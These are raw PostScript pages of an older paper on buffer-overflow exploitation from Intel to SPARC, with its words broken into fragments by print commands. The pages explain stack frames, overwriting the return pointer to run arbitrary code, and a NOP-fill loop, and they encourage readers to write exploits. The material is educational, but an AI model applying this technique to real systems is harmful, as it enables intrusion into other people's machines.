1005 173 (enough. ) 171 SB 2071 1005 105 (Sure ) 104 SB 712 1063 113 (there ) 111 SB 823 1063 74 (are ) 72 SB 895 1063 35 (a ) 32 SB 927 1063 66 (lot ) 64 SB 991 1063 42 (of) 41 SB 1032 1063 13 ( ) 11 SB 1043 1063 94 (false) 95 SB 1138 1063 13 ( ) 10 SB 1148 1063 69 (pos) 70 SB 1218 1063 28 (it) 27 SB 1245 1063 80 (ives) 81 SB 1326 1063 13 ( ) 11 SB 1337 1063 121 (when ) 119 SB 1456 1063 88 (you ) 85 SB 1541 1063 19 (s) 20 SB 1561 1063 53 (tar) 52 SB 1613 1063 27 (t ) 25 SB 1638 1063 127 (going ) 124 SB 1762 1063 169 (through ) 167 SB 1929 1063 143 (source ) 141 SB 2070 1063 107 (code ) 105 SB 712 1122 91 (but t) 90 SB 802 1122 47 (he) 48 SB 850 1122 17 (r) 16 SB 866 1122 109 (e are ) 108 SB 974 1122 19 (s) 20 SB 994 1122 69 (till ) 68 SB 1062 1122 163 (many m) 162 SB 1224 1122 327 (ore areas where ) 326 SB 1550 1122 61 (the) 62 SB 1612 1122 13 ( ) 12 SB 1624 1122 84 (buff) 83 SB 1707 1122 141 (er over) 140 SB 1847 1122 105 (flow ) 104 SB 1951 1122 22 (c) 23 SB 1974 1122 60 (an ) 59 SB 2033 1122 47 (be) 48 SB 2081 1122 13 ( ) 12 SB 2093 1122 35 (a ) 35 SB 712 1180 284 (valid security ) 283 SB 995 1180 22 (c) 23 SB 1018 1180 149 (oncern.) 148 SB 1166 1180 41 ( F) 40 SB 1206 1180 169 (inally pr) 168 SB 1374 1180 345 (ogrammers have ) 344 SB 1718 1180 19 (s) 20 SB 1738 1180 127 (tarted ) 126 SB 1864 1180 94 (to dr) 93 SB 1957 1180 137 (op the ) 136 SB 2093 1180 78 (bla-) 78 SB 712 1239 212 (tantly bad ) 211 SB 923 1239 177 (practices) 178 SB 1101 1239 13 ( ) 12 SB 1113 1239 101 (that ) 100 SB 1213 1239 83 (mos) 84 SB 1297 1239 14 (t) 13 SB 1310 1239 68 ( of ) 67 SB 1377 1239 87 (the ) 86 SB 1463 1239 176 (old well ) 175 SB 1638 1239 298 (known coding ) 297 SB 1935 1239 180 (problem ) 179 SB 712 1297 58 (we) 59 SB 771 1297 17 (r) 16 SB 787 1297 48 (e. ) 47 SB 834 1297 94 (Face) 95 SB 929 1297 13 ( ) 12 SB 941 1297 41 (it,) 40 SB 981 1297 198 ( people ar) 197 SB 1178 1297 22 (e) 23 SB 1201 1297 13 ( ) 12 SB 1213 1297 19 (s) 20 SB 1233 1297 39 (lo) 38 SB 1271 1297 36 (w) 37 SB 1308 1297 13 ( ) 12 SB 1320 1297 173 (and you ) 172 SB 1492 1297 94 (have) 95 SB 1587 1297 13 ( ) 12 SB 1599 1297 52 (to ) 51 SB 1650 1297 47 (ha) 48 SB 1698 1297 39 (m) 38 SB 1736 1297 61 (me) 62 SB 1798 1297 17 (r) 16 SB 1814 1297 66 ( int) 65 SB 1879 1297 143 (o their ) 142 SB 2021 1297 107 (head ) 107 SB 712 1355 223 (what good ) 222 SB 934 1355 22 (c) 23 SB 957 1355 25 (o) 24 SB 981 1355 144 (ding pr) 143 SB 1124 1355 22 (a) 23 SB 1147 1355 200 (ctices are.) 199 SB 1346 1355 222 ( Better yet ) 221 SB 1567 1355 220 (they need t) 219 SB 1786 1355 344 (o understand the ) 343 SB 712 1414 141 (theory ) 138 SB 850 1414 22 (a) 23 SB 873 1414 63 (nd ) 60 SB 933 1414 180 (thinking ) 177 SB 1110 1414 55 (of ) 52 SB 1162 1414 99 (how ) 97 SB 1259 1414 165 (hackers ) 163 SB 1422 1414 116 (think ) 113 SB 1535 1414 85 (and ) 83 SB 1618 1414 78 (wor) 77 SB 1695 1414 38 (k ) 36 SB 1731 1414 52 (in ) 49 SB 1780 1414 119 (order ) 116 SB 1896 1414 52 (to ) 50 SB 1946 1414 124 (avoid ) 121 SB 2067 1414 110 (most ) 108 SB 712 1472 55 (of ) 54 SB 766 1472 262 (the potential ) 261 SB 1027 1472 105 (holes) 106 SB 1133 1472 13 (.) 12 SB 712 1589 269 (Although buf) 268 SB 980 1589 69 (fer ) 68 SB 1048 1589 120 (overfl) 119 SB 1167 1589 61 (ow) 62 SB 1229 1589 13 ( ) 12 SB 1241 1589 188 (potential ) 187 SB 1428 1589 33 (is) 34 SB 1462 1589 13 ( ) 12 SB 1474 1589 165 (a major ) 164 SB 1638 1589 180 (problem ) 179 SB 1817 1589 52 (in ) 51 SB 1868 1589 36 (U) 37 SB 1905 1589 39 (ni) 38 SB 1943 1589 118 (x \221C\222 ) 117 SB 2060 1589 84 (pro-) 83 SB 712 1647 148 (grams..) 147 SB 859 1647 26 (. ) 25 SB 884 1647 17 (I) 16 SB 900 1647 13 ( ) 12 SB 912 1647 101 (proff) 100 SB 1012 1647 22 (e) 23 SB 1035 1647 17 (r) 16 SB 1051 1647 26 (, ) 25 SB 1076 1647 17 (f) 16 SB 1092 1647 94 (rom ) 93 SB 1185 1647 249 (background ) 248 SB 1433 1647 85 (and ) 84 SB 1517 1647 92 (inter) 91 SB 1608 1647 22 (a) 23 SB 1631 1647 50 (cti) 49 SB 1680 1647 76 (on, ) 75 SB 1755 1647 88 (that ) 87 SB 1842 1647 85 (this ) 84 SB 1926 1647 88 (sort ) 87 SB 2013 1647 55 (of ) 54 SB 2067 1647 42 (pr) 41 SB 2108 1647 67 (ob-) 67 SB 712 1705 88 (lem ) 87 SB 799 1705 33 (is) 34 SB 833 1705 13 ( ) 12 SB 845 1705 107 (even ) 106 SB 951 1705 113 (MOR) 114 SB 1065 1705 31 (E) 30 SB 1095 1705 13 ( ) 12 SB 1107 1705 199 (prevalent ) 198 SB 1305 1705 52 (in ) 51 SB 1356 1705 74 (the ) 73 SB 1429 1705 44 (M) 45 SB 1474 1705 166 (icrosoft ) 165 SB 1639 1705 78 (wor) 77 SB 1716 1705 65 (ld. ) 64 SB 1780 1705 132 (When ) 131 SB 1911 1705 88 (you ) 87 SB 1998 1705 94 (find ) 93 SB 2091 1705 85 (one ) 84 SB 712 1764 55 (of ) 53 SB 765 1764 102 (these) 103 SB 868 1764 13 ( ) 11 SB 879 1764 14 (i) 13 SB 892 1764 38 (n ) 36 SB 928 1764 47 (W) 48 SB 976 1764 14 (i) 13 SB 989 1764 130 (ndows) 131 SB 1120 1764 13 ( ) 11 SB 1131 1764 38 (3.) 37 SB 1168 1764 152 (1/DOS ) 150 SB 1318 1764 55 (or ) 53 SB 1371 1764 149 (Win95 ) 147 SB 1518 1764 88 (you ) 86 SB 1604 1764 42 (pr) 41 SB 1645 1764 22 (e) 23 SB 1668 1764 14 (t) 13 SB 1681 1764 52 (ty ) 50 SB 1731 1764 124 (much ) 122 SB 1853 1764 99 (own ) 97 SB 1950 1764 74 (the ) 72 SB 2022 1764 47 (ba) 48 SB 2070 1764 17 (r) 16 SB 2086 1764 38 (n ) 36 SB 2122 1764 41 (as) 42 SB 2164 1764 13 ( ) 11 SB 712 1822 202 (there isn\222t) 201 SB 913 1822 65 ( a r) 64 SB 977 1822 44 (ea) 45 SB 1022 1822 28 (ll) 27 SB 1049 1822 222 (y clear cut ) 221 SB 1270 1822 66 (des) 67 SB 1337 1822 77 (ign ) 76 SB 1413 1822 55 (of ) 54 SB 1467 1822 152 (where r) 151 SB 1618 1822 83 (ings) 84 SB 1702 1822 13 ( ) 12 SB 1714 1822 76 (1,2,) 75 SB 1789 1822 109 (3,etc.) 108 SB 1897 1822 101 ( live ) 100 SB 1997 1822 44 (\(i.) 43 SB 2040 1822 22 (e) 23 SB 2063 1822 13 (.) 12 SB 2075 1822 13 ( ) 13 SB 712 1880 69 (eve) 70 SB 782 1880 17 (r) 16 SB 798 1880 141 (ything ) 140 SB 938 1880 33 (is) 34 SB 972 1880 13 ( ) 12 SB 984 1880 80 (at ri) 79 SB 1063 1880 101 (ng 1 ) 100 SB 1163 1880 72 (for ) 71 SB 1234 1880 77 (all i) 76 SB 1310 1880 61 (nte) 62 SB 1372 1880 39 (nt) 38 SB 1410 1880 19 (s) 20 SB 1430 1880 13 ( ) 12 SB 1442 1880 22 (a) 23 SB 1465 1880 63 (nd ) 62 SB 1527 1880 177 (purposes) 178 SB 1705 1880 17 (\)) 16 SB 1721 1880 13 (.) 13 SB 712 1997 199 ([example ) 196 SB 908 1997 55 (of ) 52 SB 960 1997 166 (number ) 163 SB 1123 1997 55 (of ) 52 SB 1175 1997 135 (stupid ) 132 SB 1307 1997 199 (problems ) 197 SB 1504 1997 27 (i.) 26 SB 1530 1997 48 (e. ) 45 SB 1575 1997 63 (sys) 64 SB 1639 1997 92 (tem\() 91 SB 1730 1997 43 (\), ) 40 SB 1770 1997 199 (moderate ) 196 SB 1966 1997 212 (problems, ) 209 SB 712 2055 119 (getcw) 120 SB 832 2055 42 (d\() 41 SB 873 2055 30 (\),) 29 SB 902 2055 98 ( and ) 97 SB 999 2055 175 (difficult ) 174 SB 1173 2055 106 (probl) 105 SB 1278 2055 22 (e) 23 SB 1301 2055 71 (ms ) 70 SB 1371 2055 144 (- sprint) 143 SB 1514 2055 43 (f, ) 42 SB 1556 2055 84 (etc. ) 83 SB 1639 2055 72 (for ) 71 SB 1710 2055 148 (a large ) 147 SB 1857 2055 69 (pac) 70 SB 1927 2055 107 (kage ) 106 SB 2033 2055 30 (].) 30 SB gr gr 1 #C statusdict begin /manualfeed false store end EJ RS %%PageTrailer %%PageResources: font Helvetica-Bold %%+ font Times-Bold %%+ font Times-Italic %%+ font Times-Roman %%Page: 2 2 %%PageResources: (atend) SS 0 0 25 11 798 1100 300 SM % Copyright (c) 1986-1995 Frame Technology Corporation. /FMcmyk 100 dict def /FmBD{bind def}bind def /FmLD{load def}FmBD /FMc { FMcmyk length FMcmyk maxlength ge { /FMcmyk FMcmyk dup length dup add dict copy def } if 4 array astore 4 1 roll 8 bitshift add 8 bitshift add exch FMcmyk 3 1 roll put }FmBD /setcmykcolor where { pop /sc where { pop /sc load 0 get /scignore eq { /FMsc /sc FmLD /sc { 3 copy 8 bitshift add 8 bitshift add FMcmyk 1 index known { FMcmyk exch get aload pop setcmykcolor pop pop pop } { pop FMsc } ifelse }FmBD } if } if } if mark { /S load dup 0 get /PenW eq { dup 1 get /sl load eq { dup 0 { PenW .75 sub sl } bind put 1 /exec load put } if } if } stopped cleartomark /FmX matrix defaultmatrix def /FmDC {transform FmX itransform cvi exch cvi exch} def /FmBx { dup 3 index lt {3 1 roll exch} if 1 index 4 index lt {4 -1 roll 3 1 roll exch 4 1 roll} if }FmBD /FmPD/cleartomark FmLD /FmPD2/cleartomark FmLD /FmPT/pop FmLD /FmPA{pop pop pop}FmBD systemdict /pdfmark known { /FmPD/pdfmark FmLD currentdistillerparams /CoreDistVersion get 2000 ge { /FmPD2/pdfmark FmLD /FmPA { mark exch /Dest exch 5 3 roll /View [ /XYZ null 6 -2 roll FmDC exch pop null] /DEST FmPD }FmBD } if } if 0 0 0 0.0 0.0 0.0 1.0 FMc gs gs gs 1 lc 1 lj 0 0 0 pC 0 1 SP gs 2026 1 225 139 CB 225 139 M 2025 0 1 PP S n gr gs 2026 1 225 2953 CB 225 2953 M 2025 0 1 PP S n gr 32 0 0 41 41 0 0 0 38 /Times-Italic /font11 ANSIFont font 0 0 0 fC 787 2979 27 (C) 28 SB 815 2979 166 (ompromis) 167 SB 982 2979 73 (ed - ) 74 SB 1056 2979 68 (Buff) 69 SB 1125 2979 18 (e) 19 SB 1144 2979 96 (r-Ove) 97 SB 1241 2979 38 (rfl) 39 SB 1280 2979 48 (ow) 49 SB 1329 2979 36 (s, ) 37 SB 1366 2979 88 (from ) 89 SB 1455 2979 35 (In) 34 SB 1489 2979 11 (t) 12 SB 1501 2979 29 (el) 30 SB 1531 2979 21 ( t) 22 SB 1553 2979 77 (o SP) 78 SB 1631 2979 77 (ARC) 78 SB 1709 2979 10 ( ) 11 SB 1720 2979 43 (Ve) 44 SB 1764 2979 43 (rsi) 44 SB 1808 2979 21 (o) 20 SB 1828 2979 31 (n ) 32 SB 1860 2979 21 (8) 20 SB 32 0 0 50 50 0 0 0 48 /Times-Bold /font9 ANSIFont font 2225 2969 25 (3) 25 SB gr 32 0 0 50 50 0 0 0 45 /Times-Roman /font12 ANSIFont font 787 380 116 (This i) 115 SB 902 380 19 (s) 20 SB 922 380 13 ( ) 12 SB 934 380 22 (a) 23 SB 957 380 14 (l) 13 SB 970 380 115 (l that ) 114 SB 1084 380 105 (you r) 104 SB 1188 380 22 (e) 23 SB 1211 380 88 (ally ) 87 SB 1298 380 159 (need to ) 158 SB 1456 380 133 (unders) 134 SB 1590 380 14 (t) 13 SB 1603 380 22 (a) 23 SB 1626 380 63 (nd ) 62 SB 1688 380 52 (in ) 51 SB 1739 380 119 (order ) 118 SB 1857 380 69 (to f) 68 SB 1925 380 133 (urther ) 132 SB 2057 380 58 (res) 59 SB 2116 380 121 (earch ) 120 SB 787 438 84 (buff) 83 SB 870 438 22 (e) 23 SB 893 438 17 (r) 16 SB 909 438 13 ( ) 12 SB 921 438 213 (overflows ) 212 SB 1133 438 98 (and, ) 96 SB 1229 438 36 (w) 37 SB 1266 438 14 (i) 13 SB 1279 438 52 (th ) 51 SB 1330 438 35 (a ) 34 SB 1364 438 88 (text ) 87 SB 1451 438 113 (book ) 112 SB 1563 438 55 (or ) 53 SB 1616 438 22 (a) 23 SB 1639 438 13 ( ) 11 SB 1650 438 133 (friend,) 132 SB 1782 438 13 ( ) 12 SB 1794 438 19 (s) 20 SB 1814 438 53 (tar) 52 SB 1866 438 27 (t ) 26 SB 1892 438 158 (writing ) 156 SB 2048 438 105 (your ) 104 SB 2152 438 99 (own ) 98 SB 787 497 158 (exploits) 159 SB 946 497 13 (.) 12 SB 958 497 13 ( ) 12 SB 970 497 212 (Programm) 211 SB 1181 497 22 (e) 23 SB 1204 497 17 (r) 16 SB 1220 497 19 (s) 20 SB 1240 497 13 (,) 12 SB 1252 497 87 ( are ) 86 SB 1338 497 240 (you getting ) 239 SB 1577 497 163 (this?!?! ) 162 SB 1739 497 97 (How) 98 SB 1837 497 13 ( ) 12 SB 1849 497 163 (much m) 162 SB 2011 497 169 (ore poor) 168 SB 2179 497 13 ( ) 13 SB 787 555 149 (coding ) 148 SB 935 555 83 (mus) 84 SB 1019 555 27 (t ) 26 SB 1045 555 146 (people ) 145 SB 1190 555 22 (e) 23 SB 1213 555 92 (ndur) 91 SB 1304 555 99 (e bef) 98 SB 1402 555 77 (ore ) 76 SB 1478 555 169 (you\222ve r) 168 SB 1646 555 138 (iddled ) 137 SB 1783 555 22 (e) 23 SB 1806 555 25 (v) 24 SB 1830 555 22 (e) 23 SB 1853 555 17 (r) 16 SB 1869 555 141 (ything ) 140 SB 2009 555 52 (in ) 51 SB 2060 555 22 (a) 23 SB 2083 555 14 (l) 13 SB 2096 555 69 (l of) 68 SB 2164 555 13 ( ) 12 SB 2176 555 61 (the) 62 SB 2238 555 13 ( ) 12 SB 787 613 130 (major ) 129 SB 916 613 301 (operating syste) 302 SB 1218 613 39 (m) 38 SB 1256 613 19 (s) 20 SB 1276 613 13 ( ) 12 SB 1288 613 190 (with low ) 189 SB 1477 613 302 (level bugs and ) 301 SB 1778 613 105 (holes) 106 SB 1884 613 17 (!) 16 SB 32 0 0 50 50 0 0 0 47 /Helvetica-Bold /font5 ANSIFont font 225 770 81 (Det) 80 SB 305 770 101 (ails!) 100 SB 405 770 140 ( I wan) 139 SB 544 770 31 (t ) 31 SB 225 828 31 (d) 30 SB 255 828 73 (eta) 72 SB 327 828 73 (ils!) 73 SB 32 0 0 50 50 0 0 0 45 /Times-Roman /font12 ANSIFont font 787 772 91 (The ) 90 SB 877 772 180 (Intel stuf) 179 SB 1056 772 76 (f is ) 75 SB 1131 772 122 (fairly ) 121 SB 1252 772 19 (s) 20 SB 1272 772 31 (tr) 30 SB 1302 772 130 (aight f) 129 SB 1431 772 155 (orward.) 154 SB 1585 772 30 ( I) 29 SB 1614 772 118 (f you ) 117 SB 1731 772 255 (get stuck all ) 254 SB 1985 772 88 (you ) 87 SB 2072 772 47 (ne) 48 SB 2120 772 60 (ed ) 59 SB 2179 772 52 (to ) 52 SB 787 830 266 (do is consult ) 265 SB 1052 830 105 (your ) 104 SB 1156 830 61 (loc) 62 SB 1218 830 49 (al ) 48 SB 1266 830 166 (virus wr) 165 SB 1431 830 80 (iter.) 79 SB 1510 830 104 ( He/s) 105 SB 1615 830 25 (h) 24 SB 1639 830 22 (e) 23 SB 1662 830 13 ( ) 12 SB 1674 830 91 (will ) 90 SB 1764 830 47 (be) 48 SB 1812 830 13 ( ) 12 SB 1824 830 148 (able to ) 147 SB 1971 830 187 (give you ) 186 SB 787 888 180 (plenty of) 179 SB 966 888 169 ( details. ) 168 SB 1134 888 79 (So..) 78 SB 1212 888 26 (. ) 25 SB 1237 888 80 (sinc) 81 SB 1318 888 35 (e ) 34 SB 1352 888 130 (you pr) 129 SB 1481 888 291 (obably have a ) 290 SB 1771 888 287 (good contact f) 286 SB 2057 888 55 (or ) 54 SB 2111 888 105 (Intel ) 104 SB 787 947 130 (OS\222s \() 129 SB 916 947 212 (FreeBSD, ) 211 SB 1127 947 33 (B) 34 SB 1161 947 28 (S) 27 SB 1188 947 36 (D) 37 SB 1225 947 17 (I) 16 SB 1241 947 26 (, ) 25 SB 1266 947 133 (Linux,) 132 SB 1398 947 84 ( etc.) 83 SB 1481 947 30 (\) ) 29 SB 1510 947 62 (I\222ll) 61 SB 1571 947 76 ( do ) 75 SB 1646 947 61 (the) 62 SB 1708 947 13 ( ) 12 SB 1720 947 206 (details on ) 205 SB 1925 947 61 (the) 62 SB 1987 947 13 ( ) 12 SB 1999 947 171 (SPARC ) 171 SB 787 1005 19 (s) 20 SB 807 1005 99 (etup.) 98 SB 905 1005 30 ( [) 29 SB 934 1005 47 (W) 48 SB 982 1005 78 (hat\222) 77 SB 1059 1005 19 (s) 20 SB 1079 1005 13 ( ) 12 SB 1091 1005 176 (that you ) 175 SB 1266 1005 19 (s) 20 SB 1286 1005 82 (ay? ) 81 SB 1367 1005 205 (You don\222t) 204 SB 1571 1005 137 ( know ) 136 SB 1707 1005 22 (a) 23 SB 1730 1005 63 (ny ) 62 SB 1792 1005 152 (good vi) 151 SB 1943 1005 119 (ral wr) 118 SB 2061 1005 108 (iters?) 109 SB 2170 1005 13 ( ) 12 SB 787 1063 212 (Shame on ) 211 SB 998 1063 105 (you! ) 104 SB 1102 1063 119 (These) 120 SB 1222 1063 13 ( ) 12 SB 1234 1063 237 (people will ) 236 SB 1470 1063 170 (be able t) 169 SB 1639 1063 211 (o open up ) 210 SB 1849 1063 152 (an entir) 151 SB 2000 1063 22 (e) 23 SB 2023 1063 13 ( ) 12 SB 2035 1063 130 (world ) 129 SB 2164 1063 55 (of ) 54 SB 787 1122 158 (exploits) 159 SB 946 1122 13 ( ) 12 SB 958 1122 88 (that ) 87 SB 1045 1122 22 (c) 23 SB 1068 1122 39 (er) 38 SB 1106 1122 36 (ta) 37 SB 1143 1122 14 (i) 13 SB 1156 1122 187 (n groups ) 186 SB 1342 1122 47 (ha) 48 SB 1390 1122 60 (ve ) 59 SB 1449 1122 133 (enjoye) 134 SB 1583 1122 38 (d ) 37 SB 1620 1122 224 (singular po) 223 SB 1843 1122 19 (s) 20 SB 1863 1122 41 (se) 42 SB 1905 1122 157 (ssion of) 156 SB 2061 1122 30 (.]) 30 SB 787 1239 58 (He) 59 SB 846 1239 17 (r) 16 SB 862 1239 216 (e\222s what a ) 215 SB 1077 1239 19 (s) 20 SB 1097 1239 96 (tack ) 95 SB 1192 1239 130 (frame ) 129 SB 1321 1239 158 (in Solar) 157 SB 1478 1239 33 (is) 34 SB 1512 1239 13 ( ) 12 SB 1524 1239 223 (looks like: ) 222 SB 1746 1239 48 ([fi) 47 SB 1793 1239 144 (gure 4]) 143 SB 1936 1239 13 (.) 13 SB 787 1355 209 ([side note.) 208 SB 995 1355 26 (..) 25 SB 1020 1355 87 ( the ) 86 SB 1106 1355 22 (c) 23 SB 1129 1355 120 (allee..) 119 SB 1248 1355 13 (.) 12 SB 1260 1355 90 ( not ) 89 SB 1349 1355 198 (the caller,) 197 SB 1546 1355 79 ( has) 80 SB 1626 1355 13 ( ) 12 SB 1638 1355 52 (to ) 51 SB 1689 1355 19 (s) 20 SB 1709 1355 56 (hif) 55 SB 1764 1355 101 (t the ) 100 SB 1864 1355 133 (registe) 134 SB 1998 1355 17 (r) 16 SB 2014 1355 187 ( window ) 186 SB 787 1414 291 (and adjust the ) 290 SB 1077 1414 19 (s) 20 SB 1097 1414 160 (tack poi) 159 SB 1256 1414 105 (nter i) 104 SB 1360 1414 140 (n the S) 139 SB 1499 1414 97 (PAR) 98 SB 1597 1414 46 (C ) 45 SB 1642 1414 22 (a) 23 SB 1665 1414 17 (r) 16 SB 1681 1414 119 (chitec) 120 SB 1801 1414 14 (t) 13 SB 1814 1414 90 (ure..) 89 SB 1903 1414 90 ( not ) 89 SB 1992 1414 202 (the caller]) 201 SB 787 1647 144 (Unders) 145 SB 932 1647 14 (t) 13 SB 945 1647 22 (a) 23 SB 968 1647 89 (ndin) 88 SB 1056 1647 126 (g that ) 125 SB 1181 1647 72 (this) 73 SB 1254 1647 13 ( ) 12 SB 1266 1647 134 (is the i) 133 SB 1399 1647 236 (nformation ) 235 SB 1634 1647 63 (on ) 62 SB 1696 1647 61 (the) 62 SB 1758 1647 13 ( ) 12 SB 1770 1647 55 (sta) 56 SB 1826 1647 60 (ck ) 59 SB 1885 1647 127 (\(as ref) 126 SB 2011 1647 22 (e) 23 SB 2034 1647 17 (r) 16 SB 2050 1647 69 (enc) 70 SB 2120 1647 60 (ed ) 59 SB 2179 1647 63 (by ) 63 SB 787 1705 151 (the stac) 152 SB 939 1705 25 (k) 24 SB 963 1705 172 ( pointer\)) 171 SB 1134 1705 101 ( you ) 100 SB 1234 1705 19 (s) 20 SB 1254 1705 89 (houl) 88 SB 1342 1705 194 (d be able ) 193 SB 1535 1705 115 (to see) 116 SB 1651 1705 13 ( ) 12 SB 1663 1705 88 (that ) 87 SB 1750 1705 94 (if yo) 93 SB 1843 1705 194 (u overwri) 193 SB 2036 1705 123 (te the ) 123 SB 787 1764 58 (ins) 59 SB 846 1764 14 (t) 13 SB 859 1764 205 (ruction po) 204 SB 1063 1764 169 (inter wit) 168 SB 1231 1764 187 (h an addr) 186 SB 1417 1764 22 (e) 23 SB 1440 1764 106 (ss of ) 105 SB 1545 1764 105 (your ) 104 SB 1649 1764 120 (prefer) 119 SB 1768 1764 22 (e) 23 SB 1791 1764 167 (nce and ) 166 SB 1957 1764 137 (let the ) 136 SB 2093 1764 155 (routine ) 154 SB 787 1822 91 (do it) 90 SB 877 1822 36 (\222s) 37 SB 914 1822 13 ( ) 12 SB 926 1822 95 (RET) 94 SB 1020 1822 26 (, ) 25 SB 1045 1822 179 (you will ) 178 SB 1223 1822 19 (s) 20 SB 1243 1822 14 (t) 13 SB 1256 1822 22 (a) 23 SB 1279 1822 17 (r) 16 SB 1295 1822 430 (t executing whatever ) 429 SB 1724 1822 94 (code) 95 SB 1819 1822 13 ( ) 12 SB 1831 1822 88 (you ) 87 SB 1918 1822 36 (w) 37 SB 1955 1822 74 (ant.) 73 SB 787 1939 165 (All you ) 164 SB 951 1939 159 (need to ) 158 SB 1109 1939 330 (do is something ) 329 SB 1438 1939 337 (the equivalent of) 336 SB 1774 1939 14 (:) 14 SB 787 2055 26 ( ) 25 SB 812 2055 59 (for) 58 SB 870 2055 124 ( \(i=0; ) 123 SB 993 2055 169 (i< 4096;) 168 SB 1161 2055 100 ( i++\)) 100 SB 787 2172 26 ( ) 25 SB 812 2172 84 (buff) 83 SB 895 2172 22 (e) 23 SB 918 2172 17 (r) 16 SB 934 2172 48 ([i]) 47 SB 981 2172 168 ( = 0x90;) 167 SB 787 2289 152 (\(where ) 151 SB 938 2289 136 (buffer ) 135 SB 1073 2289 173 (is really ) 172 SB 1245 2289 19 (s) 20 SB 1265 2289 64 (om) 63 SB 1328 2289 22 (e) 23 SB 1351 2289 53 (thi) 52 SB 1403 2289 165 (ng like: ) 164 SB 1567 2289 69 (cha) 70 SB 1637 2289 17 (r) 16 SB 1653 2289 80 ( buf) 79 SB 1732 2289 73 (fer[) 72 SB 1804 2289 86 (2];\) ) 85 SB 1889 2289 102 (This ) 101 SB 1990 2289 36 (w) 37 SB 2027 2289 14 (i) 13 SB 2040 2289 140 (ll start ) 139 SB 787 2347 208 (trampling ) 207 SB 994 2347 102 (over ) 101 SB 1095 2347 122 (things) 123 SB 1218 2347 13 ( ) 12 SB 1230 2347 70 (fair) 69 SB 1299 2347 215 (ly quickly.) 214 SB 787 2464 55 (Us) 56 SB 843 2464 77 (ing ) 74 SB 917 2464 74 (the ) 72 SB 989 2464 132 (above ) 129 SB 1118 2464 44 (ps) 45 SB 1163 2464 110 (eudo ) 107 SB 1270 2464 22 (e) 23 SB 1293 2464 125 (xampl) 124 SB 1417 2464 22 (e) 23 SB 1440 2464 13 ( ) 10 SB 1450 2464 85 (and ) 83 SB 1533 2464 35 (a ) 32 SB 1565 2464 183 (program ) 180 SB 1745 2464 88 (like ) 85 SB 1830 2464 88 (gdb ) 86 SB 1916 2464 88 (you ) 85 SB 2001 2464 91 (will ) 88 SB 2089 2464 163 (quickly ) 161 SB 787 2522 19 (s) 20 SB 807 2522 157 (ee wher) 156 SB 963 2522 22 (e) 23 SB 986 2522 13 ( ) 12 SB 998 2522 195 (you need ) 194 SB 1192 2522 112 (to be ) 111 SB 1303 2522 72 (ove) 73 SB 1376 2522 17 (r) 16 SB 1392 2522 158 (writing.) 157 SB 32 0 0 50 50 0 0 0 47 /Helvetica-Bold /font5 ANSIFont font 225 2678 78 (Wh) 77 SB 302 2678 59 (at ) 58 SB 360 2678 90 (doe) 89 SB 449 2678 59 (s t) 58 SB 507 2678 73 (he ) 72 SB 579 2678 90 (cod) 89 SB 668 2678 70 (e I ) 69 SB 225 2737 31 (h) 30 SB 255 2737 98 (ave ) 97 SB 352 2737 76 (the) 75 SB 427 2737 61 ( IP) 62 SB 489 2737 14 ( ) 13 SB 502 2737 76 (poi) 75 SB 577 2737 62 (nt ) 61 SB 638 2737 62 (to ) 62 SB 225 2795 31 (n) 30 SB 255 2795 87 (eed) 86 SB 341 2795 62 ( to) 61 SB 402 2795 90 ( loo) 89 SB 491 2795 126 (k like) 125 SB 616 2795 31 (?) 31 SB 32 0 0 50 50 0 0 0 45 /Times-Roman /font12 ANSIFont font 787 2680 48 ([fi) 47 SB 834 2680 140 (gure 5 ) 139 SB 973 2680 30 (- ) 29 SB 1002 2680 130 (libc pr) 129 SB 1131 2680 142 (oblem]) 142 SB gr gr 1 #C statusdict begin /manualfeed false store end EJ RS %%PageTrailer %%PageResources: font Helvetica-Bold %%+ font Times-Bold %%+ font Times-Italic %%+ font Times-Roman %%Page: 3 3 %%PageResources: (atend) SS 0 0 25 11 798 1100 300 SM % Copyright (c) 1986-1995 Frame Technology Corporation. /FMcmyk 100 dict def /FmBD{bind def}bind def /FmLD{load def}FmBD /FMc { FMcmyk length FMcmyk maxlength ge { /FMcmyk FMcmyk dup length dup add dict copy def } if 4 array astore 4 1 roll 8 bitshift add 8 bitshift add exch FMcmyk 3 1 roll put }FmBD /setcmykcolor where { pop /sc where { pop /sc load 0 get /scignore eq { /FMsc /sc FmLD /sc { 3 copy 8 bitshift add 8 bitshift add FMcmyk 1 index known { FMcmyk exch get aload pop setcmykcolor pop pop pop } { pop FMsc } ifelse }FmBD } if } if } if mark { /S load dup 0 get /PenW eq { dup 1 get /sl load eq { dup 0 { PenW .75 sub sl } bind put 1 /exec load put } if } if } stopped cleartomark /FmX matrix defaultmatrix def /FmDC {transform FmX itransform cvi exch cvi exch} def /FmBx { dup 3 index lt {3 1 roll exch} if 1 index 4 index lt {4 -1 roll 3 1 roll exch 4 1 roll} if }FmBD /FmPD/cleartomark FmLD /FmPD2/cleartomark FmLD /FmPT/pop FmLD /FmPA{pop pop pop}FmBD systemdict /pdfmark known { /FmPD/pdfmark FmLD currentdistillerparams /CoreDistVersion get 2000 ge { /FmPD2/pdfmark FmLD /FmPA { mark exch /Dest exch 5 3 roll /View [ /XYZ null 6 -2 roll FmDC exch pop null] /DEST FmPD }FmBD } if } if 0 0 0 0.0 0.0 0.0 1.0 FMc gs gs gs 1 lc 1 lj 0 0 0 pC 0 1 SP gs 2026 1 150 139 CB 150 139 M 2025 0 1 PP S n gr gs 2026 1 150 2953 CB 150 2953 M 2025 0 1 PP S n gr 32 0 0 50 50 0 0 0 48 /Times-Bold /font9 ANSIFont font 0 0 0 fC 150 2969 25 (2) 25 SB 32 0 0 41 41 0 0 0 38 /Times-Italic /font11 ANSIFont font 712 2979 27 (C) 28 SB 740 2979 166 (ompromis) 167 SB 907 2979 73 (ed - ) 74 SB 981 2979 68 (Buff) 69 SB 1050 2979 18 (e) 19 SB 1069 2979 96 (r-Ove) 97 SB 1166 2979 38 (rfl) 39 SB 1205 2979 48 (ow) 49 SB 1254 2979 36 (s, ) 37 SB 1291 2979 88 (from ) 89 SB 1380 2979 35 (In) 34 SB 1414 2979 11 (t) 12 SB 1426 2979 29 (el) 30 SB 1456 2979 21 ( t) 22 SB 1478 2979 77 (o SP) 78 SB 1556 2979 77 (ARC) 78 SB 1634 2979 10 ( ) 11 SB 1645 2979 43 (Ve) 44 SB 1689 2979 43 (rsi) 44 SB 1733 2979 21 (o) 20 SB 1753 2979 31 (n ) 32 SB 1785 2979 21 (8) 20 SB gr 32 0 0 50 50 0 0 0 47 /Helvetica-Bold /font5 ANSIFont font 150 378 131 (Great) 130 SB 280 378 